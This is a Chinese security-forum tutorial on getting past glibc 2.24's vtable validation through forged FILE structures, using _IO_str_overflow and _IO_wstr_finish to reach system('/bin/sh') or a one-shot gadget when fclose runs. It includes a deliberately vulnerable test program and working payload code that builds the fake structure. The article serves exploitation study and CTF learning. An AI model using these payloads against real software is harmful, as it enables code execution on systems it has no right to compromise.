Pwn with File结构体（四）

hackedbylh / 2018-01-15 10:02:36 / 浏览数 3287 技术文章 技术文章 顶(0) 踩(0)

前言

前面几篇文章说道，glibc 2.24 对 vtable 做了检测，导致我们不能通过伪造 vtable 来执行代码。今天逛 twitter 时看到了一篇通过绕过 对vtable 的检测 来执行代码的文章，本文学习一下，后来又根据文中的参考链接，找到了另外一种类似的方法，本文做个分享。

文中涉及的代码，libc, 二进制文件。

https://gitee.com/hac425/blog_data/blob/master/pwn_file/file_struct_part4.rar

正文

首先还是编译一个有调试符号的 glibc 来辅助分析。

源码下载链接

http://mirrors.ustc.edu.cn/gnu/libc/glibc-2.24.tar.bz2

可以参考

http://blog.csdn.net/mycwq/article/details/38557997

新建一个目录用于存放编译文件，进入该文件夹(这里为glibc_224），执行 configure 配置

```
mkdir glibc_224
cd glibc_224/
../glibc-2.24/configure --prefix=/home/haclh/workplace/glibc_224  --disable-werror  --enable-debug=yes
```

然后 make -j8 && make install, 即可在 /home/haclh/workplace/glibc_224 找到编译好的 libc

对 vtable 进行校验的函数是 IO_validate_vtable

就是保证 vtable 要在 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间。

绕过的方法是在 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间找到可以利用的东西，下面介绍两种。

前提：可以伪造 FILE 机构体

测试代码（来源）

```
/* gcc vuln.c -o vuln */

#include <stdio.h>
#include <unistd.h>

char fake_file[0x200];

int main() {
 FILE *fp;
 puts("Leaking libc address of stdout:");
 printf("%p\n", stdout); // Emulating libc leak
 puts("Enter fake file structure");
 read(0, fake_file, 0x200);
 fp = (FILE *)&fake_file;
 fclose(fp);
 return 0;
}
```

首先 printf("%p\n", stdout) 用来泄露 libc 地址，然后使用 read 读入数据用来伪造 FILE 结构体， 最后调用 fclose(fp).

利用__IO_str_overflow

__IO_str_overflow是 _IO_str_jumps 的一个函数指针.

_IO_str_jumps 就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间 所以我们是可以通过 IO_validate_vtable 的检测的。

具体怎么拿 shell 还得看看 __IO_str_overflow 的 源代码, 这里我就用 ida 看了（清楚一些）

首先是对 fp->_flag 做了一些判断

将 fp->_flag 设为 0x0, 就不会进入。接下来的才是重点

可以看到 如果 设置

fp->_IO_write_ptr - fp->_IO_write_base > fp->_IO_buf_end - fp->_IO_buf_base

我们就能进入 (fp[1]._IO_read_ptr)(2 * size + 100), 回到汇编看看。

执行 call qword ptr [fp+0E0h] , fp+0E0h 使我们控制的 , 于是可以控制 rip, 此时的参数为 2 * size + 100, 而 size = fp->_IO_buf_end - fp->_IO_buf_base 所以此次 call 的参数也是可以控制的。

利用思路就很简单了

- 设置 fp+0xe0 为 system
- 设置 fp->_IO_buf_end 和 fp->_IO_buf_base, 使得 2 * size + 100 为 /bin/sh 的地址 , 执行 system("/bin/sh") 获取 shell。

比如fp->_IO_buf_base=0 和 fp->_IO_buf_end=(sh-100)/2。

```
fake_file += p64(0x0)        # buf_base
fake_file += p64((sh-100)/2) # buf_end
```

当执行 fclose 是会 调用 _IO_FINISH (fp)

其实就是 fp->vtable->__finish

```
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
```

执行 _IO_FINISH (fp) 之前还对 锁进行了获取 , 所以我们需要设置 fp->_lock 的值为一个 指向 0x0
的值 (*ptr=0x0000000000000000) , 所以最终的 file 结构体的内容为

```
fake_file = p64(0x0)  # flag
fake_file += p64(0x0)    # read_ptr
fake_file += p64(0x0)    # read_end
fake_file += p64(0x0)    # read_base


fake_file += p64(0x0)        # write_base
fake_file += p64(sh)         # write_ptr - write_base  > buf_end - buf_base, bypass check
fake_file += p64(0x0)        # write_end

fake_file += p64(0x0)        # buf_base
fake_file += p64((sh-100)/2) # buf_end

fake_file += "\x00" * (0x88 - len(fake_file))  # padding for _lock
fake_file += p64(0x00601273)   # ptr-->0x0 , for bypass get lock

# p _IO_str_jumps
fake_file += "\x00" * (0xd8 - len(fake_file))  # padding for vtable
fake_file += p64(_IO_jump_t + 0x8) # make __IO_str_overflow on __finish , which call by fclose

fake_file += "\x00" * (0xe0 - len(fake_file))  # padding for vtable
fake_file += p64(system) # ((_IO_strfile *) fp)->_s._allocate_buffer
```

有一个小细节,我把 vtable 设置为了 p64(_IO_jump_t + 0x8),原因在于 一个正常的 FILE 结构体的 vtable 的结构为

_finish 在第三个字段

__IO_str_overflow是 _IO_str_jumps 的第4个字段.

vtable 设置为 p64(_IO_jump_t + 0x8) 后 , vtable->_finish 为 __IO_str_overflow 的地址了。

在调用 fclose 处下个断点 , 断下来后打印第一个参数

可以看到

- _flags 域 为 0
- 2*(buf_end - buf_base) + 100 指向 /bin/sh
- _lock 指向 0x0
- 虚表的第三个表项 (vtable->_finish) 为 __IO_str_overflow 的地址

- `$rdi+0xe0` 为 `system` 的地址(rdi即为 fp)

这样在执行 `fclose` 时就会进入 `__IO_str_overflow` ，然后进入 `call qword ptr [fp+0E0h]` 执行 `system("/bin/sh")` 拿到 `shell`

利用 _IO_wstr_finish

`_IO_wstr_finish` 位于 `_IO_wstr_jumps` 里面

可以看到 `_IO_wstr_jumps` 也是位于 位于 `__stop___libc_IO_vtables` 和 `__start___libc_IO_vtables` 之间的。

`_IO_wstr_finish` 的 `check` 比较简单

当 `fp->_wide_data->_IO_buf_base` 不为0， 而且 `v2->_flags2` 就可以劫持 `rip` 了，看汇编代码会清晰不少

只需要在 `fp+0xa0` 处放置一个指针 `ptr`，使得 `ptr+0x30` 处的 值不为 0 即可。（这个值随便找就行），然后 设置 `fp+0x74` 的值为 `0`， 最后设置 `fp+0xe8` 的值为 `one_shot` ，在执行 `fclose()`时就会去执行 `one_shot` 拿到 `shell`

伪造 `file` 结构体的代码

```
fake_file = p64(0x0)  # flag
fake_file += p64(0x0)    # read_ptr
fake_file += p64(0x0)    # read_end
fake_file += p64(0x0)    # read_base


fake_file += p64(0x0)        # write_base
fake_file += p64(sh)         # write_ptr - write_base  > buf_end - buf_base, bypass check
fake_file += p64(0x0)        # write_end

fake_file += p64(0x0)        # buf_base
fake_file += p64((sh-100)/2) # buf_end


fake_file += "\x00" * (0x88 - len(fake_file))  # padding for _lock

fake_file += p64(0x00601273)   # ptr-->0x0 , for bypass get lock

fake_file +=  "\x00" * (0xa0 - len(fake_file))
fake_file += p64(0x601030) # _wide_data

# p &_IO_wstr_jumps
fake_file += "\x00" * (0xd8 - len(fake_file))  # padding for vtable
fake_file += p64(_IO_wstr_jumps)

fake_file += "\x00" * (0xe8 - len(fake_file))  # padding for vtable
fake_file += p64(one_shot) # rip
```

最后

ida看代码比较清楚，文中的两种方法挺不错，利用了其他的 `vtable` 中的有趣的函数来绕过 `check`

参考

https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/

http://blog.rh0gue.com/2017-12-31-34c3ctf-300/

上一篇：Apache FOP-XXE—【C... 下一篇：浅谈高级威胁情报对于安全建设的意义...

1. 0 条回复
   - 动动手指，沙发就是你的了！

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板